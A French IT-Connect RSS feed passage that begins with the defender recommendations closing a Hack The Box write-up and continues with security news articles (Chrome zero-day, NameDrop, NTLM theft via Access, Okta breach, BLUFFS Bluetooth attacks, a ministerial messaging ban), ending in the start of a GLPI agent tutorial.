<p>Concernant l'élévation de privilège, l<strong>e piège était ici de s'acharner sur les instructions bash du script</strong> sans se soucier des binaires utilisés, il fallait garder à l’esprit qu'eux aussi sont exécutés par root et peuvent contenir des faiblesses. Savoir décomposer précisément chaque instruction du script et isoler les composants "tiers" est donc important. C'est aussi le cas pour l'application web et l'utilisation d'ImageMagick.</p>



<h3 class="wp-block-heading">B. Côté défenseur</h3>



<p>Pour sécuriser ce système, nous pouvons proposer plusieurs recommandations :</p>



<p><strong>Recommandation n°1 </strong>: La recommandation principale serait de mettre à jour les composants du système et de l'application web. Un focus spécial sur le binaire ImageMagick doit être mentionné, car il s'agit d'un binaire "isolé" qui ne sera pas mis à jour via un simple <strong>apt-get update</strong>. De manière plus formelle, nous pouvons mentionner la directive n°34 du <a href="https://cyber.gouv.fr/publications/guide-dhygiene-informatique" target="_blank" rel="noopener" title="Guide d'hygiène de l'ANSSI">Guide d'hygi</a><a href="https://cyber.gouv.fr/publications/guide-dhygiene-informatique" target="_blank" rel="noopener nofollow" title="Guide d'hygiène de l'ANSSI">è</a><a href="https://cyber.gouv.fr/publications/guide-dhygiene-informatique" target="_blank" rel="noopener" title="Guide d'hygiène de l'ANSSI">ne de l'ANSSI</a> : <strong>Définir une politique de mise à jour des composants du système d’information</strong>.</p>



<p><strong>Recommandation n°2</strong> : Il peut également être recommandé de revoir le process de déploiement des applications web afin de ne pas laisser traîner de dossier .git dans les applications web en production. Il est également possible de configurer le service web pour qu'il ne permette pas la consultation des dossiers .git, par exemple sous Apache :</p>



<pre class="wp-block-code"><code>&lt;DirectoryMatch "^/.*/\.git/"&gt;
    Order deny,allow
    Deny from all
&lt;/DirectoryMatch&gt;</code></pre>



<p><strong>Recommandation</strong> <strong>n°3</strong> : Enfin, il peut être recommandé d'étudier la possibilité de <strong>faire tourner le script malwarescan.sh avec un utilisateur autre que root</strong>. Ce script fait en effet interagir l'utilisateur root avec les fichiers potentiellement malveillants déposés par des utilisateurs externes, ce qui n'est jamais recommandé. À première vue, aucune instruction du script ne requiert réellement les privilèges root pour être exécutée.</p>



<p><strong>Recommandation n°4</strong> : En supposant que l'attaquant soit situé sur Internet et que la machine attaquée soit elle aussi exposée sur Internet, nous pouvons recommander de fermer ou fortement restreindre l'accès au service SSH depuis Internet. Il est par exemple à préférer l'exposition uniquement depuis l'interne, l'application d'un filtrage strict par IP source, ou le passage forcé par une connexion VPN.</p>



<p><em>J’espère que cet article vous a plu ! N'hésitez pas à donner votre avis dans les commentaires ou sur notre Discord :).</em></p>



<p>Enfin<strong> si vous voulez accéder à des cours et modules dédiés aux techniques offensives ou défensives et améliorer vos compétences en cybersécurité, je vous oriente vers </strong>Hack The Box Academy, utilisez ce lien d'inscription (je gagnerai quelques points <img src="media/3fc8b120.1f642.png" data-original-source="https://s.w.org/images/core/emoji/14.0.0/72x72/1f642.png" alt="🙂" class="wp-smiley" style="height: 1em; max-height: 1em;" /> ) : <a href="https://referral.hackthebox.com/mzw333f" target="_blank" rel="noreferrer noopener">Tester Hack the Box Academy</a></p><p>The post <a href="https://www.it-connect.fr/hack-the-box-resoudre-la-box-pilgrimage-outils-methodes-et-recommandations-pour-se-proteger/">Hack The Box – Résoudre la box Pilgrimage : outils, méthodes et recommandations pour se protéger</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=72843
title: Mettez à jour Google Chrome pour vous protéger de la 6ème faille zero-day de l’année 2023
uri: Mettez-à-jour-Google-Chrome-pour-vous-protéger-de-la-6ème-faille-ze
url: https://www.it-connect.fr/google-chrome-novembre-2023-zero-day-cve-2023-6345/
content:
<p><strong>Une nouvelle mise à jour de sécurité est disponible pour Google Chrome ! En effet, Google a corrigé la 6ème vulnérabilité zero-day de l'année 2023 au sein de son navigateur ! Faisons le point sur cette faille de sécurité.</strong></p>



<p>Tout d'abord, sachez qu'il existe déjà un exploit pour cette faille de sécurité zero-day associée à la référence <strong>CVE-2023-6345</strong>. Au sein de son <a href="https://chromereleases.googleblog.com/2023/11/stable-channel-update-for-desktop_28.html" target="_blank" rel="noopener nofollow" title="">bulletin de sécurité</a>, Google l'a clairement précisé : "<em>Google sait qu'il existe un exploit pour la CVE-2023-6345 dans la nature.</em>" - Cette vulnérabilité est déjà exploitée.</p>



<p>Découverte par Benoît Sevens et Clément Lecigne de Google Threat Analysis Group, cette <strong>faille de sécurité de type "<em>integer overflow</em>"</strong> se situe dans <strong>Skia</strong>, une <strong>bibliothèque open source d'images vectorielles en 2D </strong>codée en C++. D'ailleurs, ce n'est pas la première fois qu'une faille de sécurité est découverte dans Skia. Nous n'avons plus de précision sur cette vulnérabilité : c'est le comportement habituel de Google afin de ne pas exposer les utilisateurs et leur laisser le temps d'effectuer la mise à jour.</p>



<p>Par ailleurs, sur la <a href="https://en.wikipedia.org/wiki/Skia_Graphics_Engine" target="_blank" rel="noopener nofollow" title="">page Wikipédia de Skia</a>, il est mentionné que cette bibliothèque est également utilisée par Mozilla Firefox : si c'est le cas, c'est probable que la vulnérabilité affecte aussi ce navigateur.</p>



<h2 class="wp-block-heading">Comment se protéger ?</h2>



<p>Google a mis en ligne une nouvelle version de Chrome. D'accord, mais laquelle ? Ou plutôt, lesquelles, car il y a des versions pour Windows, macOS et <a class="wpil_keyword_link" href="https://www.it-connect.fr/cours-tutoriels/administration-systemes/linux/" target="_blank" rel="noopener" title="Linux" data-wpil-keyword-link="linked">Linux</a>. Voici les versions à installer (à minima) pour vous protéger :</p>



<ul>
<li><strong>Windows </strong>: 119.0.6045.199/.200</li>



<li><strong>macOS et Linux </strong>: 119.0.6045.199</li>
</ul>



<p>Au-delà de corriger la faille de sécurité CVE-2023-6345 faisant l'objet de cet article, sachez que <strong>cette version corrige 7 vulnérabilités au total</strong>.</p>



<p>Pour rechercher les mises à jour, ouvrez le menu du navigateur à l'aide du bouton avec les trois points verticaux en haut à droite, puis sous "<strong>Aide</strong>", cliquez sur "<strong>A propos de Google Chrome</strong>". Vous savez ce qu'il vous reste à faire.</p>



<p><a href="https://www.bleepingcomputer.com/news/security/google-chrome-emergency-update-fixes-6th-zero-day-exploited-in-2023/" target="_blank" rel="noopener nofollow" title="">Source</a></p><p>The post <a href="https://www.it-connect.fr/google-chrome-novembre-2023-zero-day-cve-2023-6345/">Mettez à jour Google Chrome pour vous protéger de la 6ème faille zero-day de l’année 2023</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=72838
title: L’iPhone et la fonctionnalité NameDrop d’iOS 17 : arrêtez de vous inquiéter !
uri: L-iPhone-et-la-fonctionnalité-NameDrop-d-iOS-17-arrêtez-de-vou
url: https://www.it-connect.fr/liphone-et-la-fonctionnalite-namedrop-dios-17-arretez-de-vous-inquietez/
content:
<p><strong>Sur le Web, nous pouvons voir de nombreux articles et messages circuler où les utilisateurs sont encouragés à désactiver au plus vite la fonctionnalité NameDrop intégrée par Apple au sein d'iOS 17. Mais pourquoi ?</strong></p>



<h2 class="wp-block-heading">C'est quoi la fonctionnalité NameDrop</h2>



<p>Au mois de septembre dernier, Apple a lancé ses nouveaux iPhone 15 ainsi qu'une nouvelle version du système d'exploitation iOS. Au sein d'<strong>iOS 17.1</strong>, il y a une nouvelle fonctionnalité nommée <strong>NameDrop </strong>dont l'objectif est de faciliter le partage d'informations de contact entre deux personnes. </p>



<p>Plus précisément, il s'agit de<strong> partager sa fiche contact, ou sa carte de visite numérique</strong>, si vous préférez : avec son nom, son prénom, son numéro de téléphone, etc. Pour cela, il suffit de<strong> rapprocher les deux appareils </strong>: deux iPhone, ou un iPhone et une montre connectée Apple Watch, par exemple. </p>



<p><strong>Sous iOS 17, NameDrop est activé par défaut.</strong></p>



<h2 class="wp-block-heading">Est-ce qu'elle représente un risque ?</h2>



<p>Récemment, <strong>des policiers américains ont émis une alerte au sujet de cette fonctionnalité</strong> et ils diffusent des messages de prévention. D'après eux, il faut absolument la désactiver sinon un inconnu pourrait <strong>voler les informations de contact d'une personne à son insu</strong>, simplement en étant à proximité.</p>



<p>Depuis, il y a eu de nombreux messages qui vont en ce sens sur les <a class="wpil_keyword_link" href="https://www.it-connect.fr/actualites/reseaux-sociaux-actualites/" target="_blank" rel="noopener" title="réseaux sociaux" data-wpil-keyword-link="linked">réseaux sociaux</a>, que ce soit sur X (Twitter), LinkedIn, et même TikTok avec des vidéos alarmistes (<em>probablement pour faire le buzz</em>). <strong>Pourtant, il n'y a pas de raison de s'inquiéter.</strong></p>



<p>Apple n'a pas bâclé le développement de la fonctionnalité NameDrop. Au moment de partager vos informations, deux boutons s'affichent sur l'écran de l'appareil de l'utilisateur. Un premier bouton nommé "<strong>Recevoir uniquement</strong>" qui permet de recevoir les données de contact de l'autre personne <strong>sans partager les siennes</strong>. Un deuxième bouton nommé "<strong>Partager</strong>" qui permet <strong>un échange mutuel des informations</strong>. Ensuite, <strong>cet échange nécessite quelques secondes</strong> et <strong>les appareils doivent être déverrouillés</strong>. </p>



<p>Autrement dit, un inconnu ne peut pas voler vos informations de contact simplement en passant près de vous...</p>



<figure class="wp-block-image size-full"><img fetchpriority="high" decoding="async" width="500" height="583" src="media/11c499ac.iPhone-iOS-17-NameDrop-Apercu.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/iPhone-iOS-17-NameDrop-Apercu.jpg" alt="iPhone iOS 17 - NameDrop - Aperçu" class="wp-image-72839" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/iPhone-iOS-17-NameDrop-Apercu.jpg 500w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/iPhone-iOS-17-NameDrop-Apercu-129x150.jpg 129w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/iPhone-iOS-17-NameDrop-Apercu-43x50.jpg 43w" sizes="(max-width: 500px) 100vw, 500px" /></figure>



<h2 class="wp-block-heading">Comment désactiver NameDrop ?</h2>



<p>Si vous n'aimez pas de cette fonctionnalité ou que vous n'envisagez pas de l'utiliser, vous avez toujours la possibilité de la désactiver dans les options d'iOS.</p>



<p>Accédez aux réglages généraux, puis cliquez sur "<strong>AirDrop</strong>" afin de désactiver l'option "<strong>Approchant les appareils</strong>" située sous "<strong>Commencez le partage en...</strong>".</p>



<p><a href="https://leclaireur.fnac.com/article/390167-voici-pourquoi-il-ne-faut-pas-sinquieter-de-la-fonctionnalite-namedrop-dios-17/" target="_blank" rel="noopener nofollow" title="">Source</a></p><p>The post <a href="https://www.it-connect.fr/liphone-et-la-fonctionnalite-namedrop-dios-17-arretez-de-vous-inquietez/">L’iPhone et la fonctionnalité NameDrop d’iOS 17 : arrêtez de vous inquiéter !</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=72850
uri: Authentification-Windows-cette-technique-basée-sur-Microsoft-Access
title:
Authentification Windows : cette technique basée sur Microsoft Access permet de voler les tokens NTLM

url:
https://www.it-connect.fr/authentification-windows-cette-technique-basee-sur-microsoft-access-permet-de-voler-les-tokens-ntlm/

content:
<p><strong>Une nouvelle fois, des chercheurs en sécurité ont mis en lumière les faiblesses du protocole NTLM. Dans ce cas, un fichier Microsoft Access est utilisé pour forcer l'authentification du client sur un serveur. Faisons le point sur cette technique.</strong></p>



<p>La technique d'attaque mise au point par les chercheurs en sécurité de chez Check Point s'appuie sur <strong>l'utilisation de l'application Microsoft Access.</strong> Pour rappel, Access est une application intégrée à la suite Microsoft Office permettant de gérer des bases de données. Parmi ses fonctionnalités, la possibilité de <strong>se connecter à des sources de données externes</strong> (une instance SQL Server, par exemple), via le <strong>connecteur ODBC</strong>.</p>



<p>Justement, c'est cette fonctionnalité qui peut être abusée par un attaquant : <strong>lier une table à partir d'une instance SQL Server externe</strong>. Dans le <a href="https://research.checkpoint.com/2023/abusing-microsoft-access-linked-table-feature-to-perform-ntlm-forced-authentication-attacks/" target="_blank" rel="noopener nofollow" title="">rapport de Check Point</a>, Haifei Li précise : "<em>Cette fonction peut être utilisée de manière abusive par des attaquants pour divulguer automatiquement les jetons NTLM de l'utilisateur Windows à n'importe quel serveur contrôlé par un attaquant, via n'importe quel port TCP, tel que le port 80.</em>" - Le fait d'utiliser un port "générique" comme le port 80 associé au HTTP permettra de contourner les politiques de sécurité de la majorité des firewalls.</p>



<p>Pour mettre au point cette attaque,<strong> l'utilisateur doit ouvrir un fichier Microsoft Access, au format .accdb ou au format .mdb</strong>. Même si, Haifei Lie précise : "<em>En fait, n'importe quel type de fichier Office plus courant (tel qu'un fichier .rtf ) peut également fonctionner.</em>" - Voici un schéma qui illustre le processus de cette attaque :</p>



<figure class="wp-block-image size-full"><img fetchpriority="high" decoding="async" width="450" height="344" src="media/4171d1b1.Attaque-NTLM-via-fichier-Access-et-OLE-Check-Point.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Attaque-NTLM-via-fichier-Access-et-OLE-Check-Point.jpg" alt="" class="wp-image-72855" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Attaque-NTLM-via-fichier-Access-et-OLE-Check-Point.jpg 450w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Attaque-NTLM-via-fichier-Access-et-OLE-Check-Point-150x115.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Attaque-NTLM-via-fichier-Access-et-OLE-Check-Point-50x38.jpg 50w" sizes="(max-width: 450px) 100vw, 450px" /><figcaption class="wp-element-caption">Source : Check Point</figcaption></figure>



<p>Dans ce cas, un<strong> document Word est utilisé et il effectue la liaison à Access via le mécanisme OLE</strong> (que l'on peut utiliser en entreprise pour faire du publipostage). Si l'utilisateur se fait piéger et qu'il clique sur l'élément lié dans le document Word, l'appareil de l'utilisateur contactera le serveur contrôlé par l'attaquant pour s'authentifier ! Ceci va permettre à <strong>l'attaquant de relayer les échanges associés au processus d'<a href="https://www.it-connect.fr/comment-desactiver-le-protocole-ntlm-dans-un-domaine-active-directory/" target="_blank" rel="noopener" title="Comment désactiver le protocole NTLM dans un domaine Active Directory ?">authentification NTLM</a></strong>, entre le client et un serveur de l'entreprise (via le protocole NTLM). Au final, <strong>l'attaquant aura forcé le client à s'authentifier sur ce serveur</strong> !</p>



<h2 class="wp-block-heading">Comment se protéger ?</h2>



<p>Dans le rapport de Check Point, nous pouvons lire : "<em>Nous avons reproduit avec succès l'attaque sur tous les environnements Windows + Office par défaut disponibles, y compris le dernier environnement Windows 10/11 + Office 2021.</em>" - Alors, comment se protéger ?</p>



<p>Toutefois, il est précisé qu'une version spécifique de Microsoft Office bloque cette tentative et affiche un avertissement : <strong>la version 2306, build 16529.20182</strong>. Mais, il est difficile de savoir quelles sont les versions qui ont eu le droit à un correctif, et celles qui ne l'ont pas eu : Microsoft doit avoir la réponse. Sinon, du côté du service de micro-patching 0patch, il y a des correctifs (non officiels) pour plusieurs versions : Office 2010, Office 2013, Office 2016, Office 2019.</p>



<p><a href="https://thehackernews.com/2023/11/hackers-can-exploit-forced.html" target="_blank" rel="noopener nofollow" title="">Source</a></p><p>The post <a href="https://www.it-connect.fr/authentification-windows-cette-technique-basee-sur-microsoft-access-permet-de-voler-les-tokens-ntlm/">Authentification Windows : cette technique basée sur Microsoft Access permet de voler les tokens NTLM</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=72863
uri: Okta-piratage-d-octobre-2023-une-fuite-de-données-affecte-tous-l
title:
Okta, piratage d’octobre 2023 : une fuite de données affecte tous les utilisateurs du système d’assistance !

url:
https://www.it-connect.fr/okta-piratage-doctobre-2023-une-fuite-de-donnees-affecte-tous-les-utilisateurs-du-systeme-dassistance/

content:
<p><strong>Suite à l'incident de sécurité survenu entre septembre et octobre 2023, Okta a mené une enquête qui a permis de déterminer que les pirates ont téléchargé des données appartenant à tous les utilisateurs du centre d'assistance Okta. Voici ce que l'on sait.</strong></p>



<p>Pour rappel, cet incident de sécurité est lié à la compromission du compte Google de l'un des salariés d'Okta. Il a permis aux pirates d'accéder au système d'assistance d'Okta et de voler <strong>des fichiers HAR pouvant contenir des cookies de session et jetons de clients</strong>. Grâce à son enquête, Okta a pu déterminer que<strong> ce piratage a impacté 134 clients</strong>, ce qui représente<strong> 1% du nombre total de clients</strong>. Parmi les victimes, il y avait notamment 1Password, Cloudflare et BeyondTrust.</p>



<ul>
<li><a href="https://www.it-connect.fr/okta-134-clients-impactes-par-le-piratage-lie-a-la-compromission-du-compte-dun-salarie/" target="_blank" rel="noopener" title="Okta : 134 clients impactés par le piratage lié à la compromission du compte d’un salarié !">Okta : 134 clients impactés par le piratage lié à la compromission du compte d'un salarié !</a></li>
</ul>



<p>Suite à plusieurs semaines d'enquêtes, Okta a pu en apprendre encore un peu plus sur les conséquences de cet incident de sécurité. Désormais, nous savons que les pirates sont parvenus à<strong> télécharger un fichier avec les données personnelles de tous les utilisateurs du système d'assistance d'Okta</strong> : "<em>Nous avons déterminé que l'attaquant a exécuté et téléchargé un rapport contenant les noms et les adresses électroniques de tous les utilisateurs du système d'assistance d'Okta.</em>", peut-on lire sur le <a href="https://sec.okta.com/harfiles" target="_blank" rel="noopener nofollow" title="">site officiel d'Okta</a>.</p>



<p>Le pirate a généré ce rapport le 28 septembre 2023 et ce dernier contient<strong> les informations suivantes sur les clients d'Okta</strong> : nom, prénom, identifiant, adresse e-mail, adresse, numéro de téléphone, dernière connexion, date de création, date du dernier changement de mots de passe, et le SAML Federation ID. D'ailleurs, Okta précise qu'<strong>aucun identifiant n'est présent dans cette fuite de données</strong>. "<em>Pour 99,6 % des utilisateurs figurant dans le rapport, les seules informations de contact enregistrées sont le nom complet et l'adresse électronique.</em>", peut-on lire sur le site d'Okta.</p>



<p>Puisque le pirate a pu récupérer le nom complet et l'adresse électronique des utilisateurs,<strong> il y a de fortes chances pour que ces informations soient exploitées au sein d'une campagne de phishing</strong>. Enfin, Okta recommande à tous ses utilisateurs d'<strong>activer le MFA sur leur compte afin d'en renforcer la sécurité</strong> et de configurer <strong>l'expiration des sessions admins</strong> (au bout de 12 heures ou 15 minutes d'inactivité). À ce sujet, 94% des clients d'Okta ont déjà activé le MFA sur leur compte.</p>



<p><a href="https://www.bleepingcomputer.com/news/security/okta-october-data-breach-affects-all-customer-support-system-users/" target="_blank" rel="noopener nofollow" title="">Source</a></p><p>The post <a href="https://www.it-connect.fr/okta-piratage-doctobre-2023-une-fuite-de-donnees-affecte-tous-les-utilisateurs-du-systeme-dassistance/">Okta, piratage d’octobre 2023 : une fuite de données affecte tous les utilisateurs du système d’assistance !</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=72868
title: BLUFFS : ces nouvelles attaques Bluetooth exposent des milliards d’appareils !
uri: BLUFFS-ces-nouvelles-attaques-Bluetooth-exposent-des-milliards-d
url:
https://www.it-connect.fr/bluffs-ces-nouvelles-attaques-bluetooth-exposent-des-milliards-dappareils/

content:
<p><strong>BLUFFS (Bluetooth Forward and Future Secrecy Attacks and Defenses), c'est le nom d'un ensemble de 6 attaques différentes développées par des chercheurs en sécurité d'Eurecom et qui peuvent casser la sécurité des sessions Bluetooth !</strong></p>



<p>Les vulnérabilités découvertes par les chercheurs en sécurité ne sont pas spécifiques à un matériel ou à une configuration logicielle. C'est plus grave que cela : il s'agit de <strong>plusieurs problèmes de sécurité propre au fonctionnement du Bluetooth</strong> en lui-même. Regroupées derrière l'identifiant <strong>CVE-2023-24023</strong>, ces vulnérabilités affectent <strong>toutes les versions du Bluetooth de la 4.2 à la 5.4</strong>. D'ailleurs, le Bluetooth 5.4 a été présenté au premier trimestre 2023.</p>



<p>Daniele Antonioli, l'un des auteurs de ces découvertes, explique que les attaques BLUFFS reposent sur l'exploitation de deux failles de sécurité inconnues jusqu'ici. <strong>Ces vulnérabilités sont liées à la manière dont les clés de session sont dérivées pour déchiffrer les données échangées.</strong></p>



<p>Ainsi, <strong>BLUFFS va permettre de casser le secret des sessions Bluetooth</strong>, ce qui compromet la confidentialité des communications entre les deux appareils. Puisqu'il s'agit d'une attaque via Bluetooth et que ce protocole a une portée limitée, il convient d'être assez proche de sa cible. </p>



<p>Le<a href="https://francozappa.github.io/post/2023/bluffs-ccs23/" target="_blank" rel="noopener nofollow" title=""> rapport mis en ligne</a> par Daniele Antonioli présente <strong>6 types d'attaques différentes</strong>, que ce soit de <strong>l'usurpation d'identité ou du <em>man-in-the-middle</em></strong>, les scénarios sont variés. D'ailleurs, sur <strong>GitHub</strong>, il y a <strong>une boite à outils complète</strong> avec différents fichiers, dont un script Python et des fichiers de capture PCAP.</p>



<h2 class="wp-block-heading">Les smartphones, tablettes, ordinateurs, écouteurs... sont vulnérables !</h2>



<p>Dans le cadre de leurs travaux,<strong> les chercheurs en sécurité ont testé les attaques BLUFFS contre divers appareils</strong>, que ce soit des smartphones, des ordinateurs portables, des écouteurs et même des enceintes. Résultat, <strong>tous les appareils testés sont vulnérables à au moins 3 des 6 techniques d'attaques</strong>. Voici le tableau avec les résultats des tests :</p>



<figure class="wp-block-image size-full"><img fetchpriority="high" decoding="async" width="800" height="483" src="media/e72a2a60.Attaques-Bluetooth-BLUFFS.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Attaques-Bluetooth-BLUFFS.png" alt="" class="wp-image-72872" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Attaques-Bluetooth-BLUFFS.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Attaques-Bluetooth-BLUFFS-550x332.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Attaques-Bluetooth-BLUFFS-150x91.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Attaques-Bluetooth-BLUFFS-768x464.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Attaques-Bluetooth-BLUFFS-50x30.png 50w" sizes="(max-width: 800px) 100vw, 800px" /><figcaption class="wp-element-caption">Source : francozappa.github.io</figcaption></figure>



<p>Avec autant de versions Bluetooth vulnérables, les attaques BLUFFS ont un potentiel énorme et peuvent permettre de cibler des milliards d'appareils, que ce soit des smartphones, des tablettes, des ordinateurs, mais aussi des accessoires divers et variés, comme le prouve le résultat de ces tests.</p>



<p>Enfin, ce qui est intéressant, c'est que les chercheurs ont proposé<strong> des modifications qui permettraient d'améliorer la fonction de dérivation des clés de session dans le but d'atténuer les techniques d'attaques BLUFFS</strong> et d'autres techniques similaires. Il s'agit de modifications compatibles avec les versions de Bluetooth affectées les plus anciennes. Par ailleurs, Eurecom suggère que le Bluetooth soit implémenté de manière à rejeter les connexions dont la force de la clé est inférieure à sept octets et à utiliser un chiffrement plus robuste.</p>



<p><a href="https://www.bleepingcomputer.com/news/security/new-bluffs-attack-lets-attackers-hijack-bluetooth-connections/" target="_blank" rel="noopener nofollow" title="">Source</a></p><p>The post <a href="https://www.it-connect.fr/bluffs-ces-nouvelles-attaques-bluetooth-exposent-des-milliards-dappareils/">BLUFFS : ces nouvelles attaques Bluetooth exposent des milliards d’appareils !</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=72877
title: Les membres du gouvernement n’ont plus le droit d’utiliser WhatsApp, Telegram ou Signal !
uri: Les-membres-du-gouvernement-n-ont-plus-le-droit-d-utiliser-WhatsAp
url:
https://www.it-connect.fr/les-membres-du-gouvernement-nont-plus-le-droit-dutiliser-whatsapp-telegram-ou-signal/

content:
<p><strong>Le gouvernement français, par l'intermédiaire d'Elisabeth Borne, a pris une décision importante : interdire l'utilisation des messageries WhatsApp, Signal et Telegram à tous les ministres. Voici ce qu'il faut savoir sur cette annonce.</strong></p>



<p>Elisabeth Borne, actuelle Première Ministre de la France, a signé une circulaire stipulant l’interdiction d'utiliser trois applications de messagerie : WhatsApp, Signal et Telegram. Cette interdiction s'applique aux ministres, aux <strong>secrétaires d'État</strong>, ainsi qu'aux <strong>directeurs </strong>et <strong>membres des cabinets</strong>. Désormais, les personnes concernées doivent faire le nécessaire, à savoir utiliser une autre application, <strong>d'ici le 8 décembre 2023 au plus tard</strong>.</p>



<h2 class="wp-block-heading">Quelles sont les alternatives à WhatsApp, Signal et Telegram ?</h2>



<p>L'<strong>alternative recommandée</strong> est une application française que vous connaissez peut-être déjà : <strong><a href="https://www.it-connect.fr/olvid-lalternative-a-whatsapp-recommandee-par-lanssi/" target="_blank" rel="noopener" title="Olvid, l’alternative à WhatsApp recommandée par l’ANSSI">Olvid</a></strong>. Pour justifier son choix d'interdire les applications précédemment citées, voici ce que nous dit Elisabeth Borne : « <em>Afin de contrer les menaces qui découlent de l'utilisation de ces applications, la société française Olvid a développé une messagerie instantanée qui garantit la protection des données de ses utilisateurs grâce à un annuaire décentralisé et un chiffrement des messages de bout en bout, tout en conservant les mêmes fonctionnalités que les applications actuelles.</em> »</p>



<p>L'application Olvid est disponible depuis 2018 et il s'agit d'<strong>une application de messagerie certifiée par l'ANSSI</strong>, ce qui est un gage de confiance en matière de sécurité. Cette application reprend les principales fonctionnalités de WhatsApp, Telegram et Signal : échange de messages entre deux contacts ou au sein d'un groupe, avec la possibilité de partager des photos, des vidéos, des documents, etc... que ce soit à partir de son smartphone ou son ordinateur.</p>



<p>Pour utiliser Olvid, <strong>vous n'avez pas besoin de carte SIM ni même d'un numéro de téléphone</strong>. "<em>Olvid ne requiert aucune donnée personnelle : aucun numéro de téléphone, aucun mail, aucun nom, aucun prénom, aucune adresse, aucune date de naissance.</em>", peut-on lire sur le <a href="https://www.olvid.io/fr/" target="_blank" rel="noopener nofollow" title="">site officiel d'Olvid</a>. L'application est totalement gratuite, bien qu'il existe plusieurs versions payantes donnant accès à des fonctionnalités supplémentaires.</p>



<p>A part Olvid, les membres du gouvernement pourront également utiliser <a href="https://www.numerique.gouv.fr/outils-agents/tchap-messagerie-instantanee-etat/" target="_blank" rel="noopener nofollow" title="">l'application Tchap</a>, conçue pour les fonctionnaires français et disponibles depuis 3 ans.  Au même titre qu'Olvid, Tchap est une application conçue et hébergée en France, où les échanges sont protégés avec du chiffrement de bout en bout.</p>



<p><strong>Que pensez-vous de cette décision du gouvernement ?</strong></p><p>The post <a href="https://www.it-connect.fr/les-membres-du-gouvernement-nont-plus-le-droit-dutiliser-whatsapp-telegram-ou-signal/">Les membres du gouvernement n’ont plus le droit d’utiliser WhatsApp, Telegram ou Signal !</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=70314
title: GLPI 10 : comment déployer l’agent GLPI sur les machines Windows à l’aide d’une GPO ?
uri: GLPI-10-comment-déployer-l-agent-GLPI-sur-les-machines-Windows-à
url: https://www.it-connect.fr/tuto-installer-configurer-gpo-agent-glpi-windows/
content:
<h2 class="wp-block-heading">I. Présentation</h2>



<p><strong>Dans ce tutoriel, nous allons apprendre à déployer l'agent GLPI sur des machines Windows afin qu'elles soient visibles dans l'inventaire de la solution GLPI en elle-même. </strong></p>



<p>Disponible pour GLPI 10, l'agent GLPI officiel est basé sur le célèbre agent open source FusionInventory. Nous pouvons même considérer que l'agent GLPI a tué l'agent FusionInventory pour GLPI puisqu'il n'a plus de réel intérêt... Sauf pour ceux qui n'utilisent pas encore GLPI 10.</p>



<p><strong>L'agent GLPI va permettre d'inventorier les ordinateurs, les smartphones et les tablettes de votre parc informatique </strong>afin d'avoir de la remontée d'informations (caractéristiques du matériel, logiciels installés, etc.).</p>



<p>Comme point de départ, nous allons utiliser <strong>un serveur GLPI 10 prêt à l'emploi et accessible en HTTPS</strong>. Autrement dit, cet article sur le déploiement de l'agent GLPI est une suite à ces deux premiers articles :</p>



<ul>
<li><a href="https://www.it-connect.fr/installation-pas-a-pas-de-glpi-10-sur-debian-12/" target="_blank" rel="noopener" title="Installation pas-à-pas de GLPI 10 sur Debian 12">Comment installer GLPI 10 sur un serveur Debian ?</a></li>



<li><a href="https://www.it-connect.fr/glpi-en-https-comment-ajouter-un-certificat-ssl/" target="_blank" rel="noopener" title="GLPI en HTTPS : comment ajouter un certificat SSL ?">Comment ajouter un certificat SSL à GLPI 10 ?</a></li>
</ul>



<h2 class="wp-block-heading">II. Les systèmes compatibles avec l'agent GLPI</h2>



<p>L'agent GLPI n'est pas limité à Windows ! En effet, il est compatible avec plusieurs systèmes d'exploitation :</p>



<ul>
<li><strong>Windows</strong> (32 bits et 64 bits)</li>



<li><strong>macOS X</strong> (avec une puce Intel ou Apple Silicon)</li>



<li><strong>Linux</strong> (Debian, Ubuntu, Red Hat, CentOS, etc.)</li>



<li><strong>Android</strong></li>
</ul>



<p>Toutes les versions et les différents packages d'installation sont disponibles sur le GitHub (sauf pour Android, il y a l'application "GLPI Agent" sur le Google Play Store).</p>



<ul>
<li><a href="https://github.com/glpi-project/glpi-agent/releases/tag/1.5" target="_blank" rel="noopener nofollow" title="">Accéder au GitHub de l'agent GLPI</a></li>
</ul>



<p>Dans cet article, nous allons apprendre à <strong>déployer l'agent GLPI pour des machines Windows, à l'aide d'une GPO</strong>.</p>



<h2 class="wp-block-heading">III. Activer l'inventaire dans GLPI 10</h2>



<p>A l'époque où l'on utilisait FusionInventory pour l'inventaire de ses machines dans GLPI, il fallait commencer par installer un plugin FusionInventory dans GLPI. Ce plugin était en quelque sorte la partie "serveur" du service d'inventaire. Désormais, c'est inclus nativement dans GLPI donc il n'est plus nécessaire d'installer de plugin externe.</p>



<p>Toutefois, l'inventaire est désactivé par défaut donc nous devons l'activer dans les paramètres de GLPI. Commencez par vous connecter à l'interface d'administration de GLPI... Puis :</p>



<ul>
<li>Cliquez sur "<strong>Administrateur</strong>" dans le menu latéral (1)</li>



